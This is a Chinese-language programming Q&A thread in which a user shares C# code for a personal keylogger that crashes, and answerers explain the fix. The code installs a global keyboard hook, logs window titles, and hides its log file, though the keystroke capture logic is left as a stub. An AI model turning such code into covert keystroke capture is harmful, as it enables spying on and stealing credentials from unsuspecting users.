键盘记录程序崩溃

本文关键字:崩溃 程序 记录 键盘 | 更新日期: 2023-09-27 18:24:02

我一直在用C#、windows窗体开发密钥记录器,但在某些方面遇到了困难。当我运行我的代码时,它工作得很好,记录了20-25次击键,但在那之后,程序突然崩溃,下面是显示的错误消息:(第一个完全难住了我)

1.对类型为'karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke'。这可能会导致应用程序崩溃、损坏和数据丢失。在将委托传递给非托管代码时,托管应用程序必须保持它们的活动状态,直到保证它们永远不会被调用为止。

2.然后显示"Object Reference not set to a instance of the Object"。(我熟悉这个)

代码如下:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;

namespace karan_keylogger
{
    public partial class Form1 : Form
    {
        KeysConverter kc;
        private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
        //private static LowLevelKeyboardProc keyhook = detect;
        StreamWriter sw;
        private const int WM_KEYDOWN = 0x0100;
        bool shiftDown, inBetween, numLockPressed;
        string currWindow, prevWindow,path;
        IntPtr x;
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
        public Form1()
        {
            InitializeComponent();
            kc = new KeysConverter();
            path="E:''data.txt";
            shiftDown = false;
            //shiftUp = true;
            inBetween = false;
            numLockPressed = false;
            currWindow = getTitle();
            prevWindow = currWindow;
            File.SetAttributes(path,FileAttributes.Normal);
            sw = new StreamWriter(path, true);
            sw.AutoFlush = true;
            sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
            File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
            LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
            Process curProcess = Process.GetCurrentProcess();
            ProcessModule curModule = curProcess.MainModule;
            //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
            x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
       }
        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnhookWindowsHookEx(x);
        }
        private string getTitle()
        {
            int handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }
        private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
        {
            // logic for keystroke storing
            return CallNextHookEx(x, ncode, wparam, lparam);
        }
    }
}

任何帮助都将不胜感激,这是一个宠物项目!。。

键盘记录程序崩溃

正如错误消息所说,非托管代码不会使托管资源保持活动状态。您正在创建一个局部变量keyhook,并将其传递给SetWindowHookEx(即传递到非托管代码中)。

然后退出构造函数,keyhook变量超出范围,从代码的角度来看,它不再在任何地方被引用,这意味着它已经准备好进行垃圾收集。但非托管代码将继续使用它。当垃圾收集器设置时,委托将丢失,您将收到错误消息。

只需将委托声明为类成员,而不是局部变量。

private LowLevelKeyboardProc keyhook;

使keyhook成为窗体的成员,而不是构造函数中的本地var

public partial class Form1: Form      
{ 
   LowLevelKeyboardProc keyhook;
   public Form1()
   {
       keyhook = new LowLevelKeyboardProc(detect);
   }
}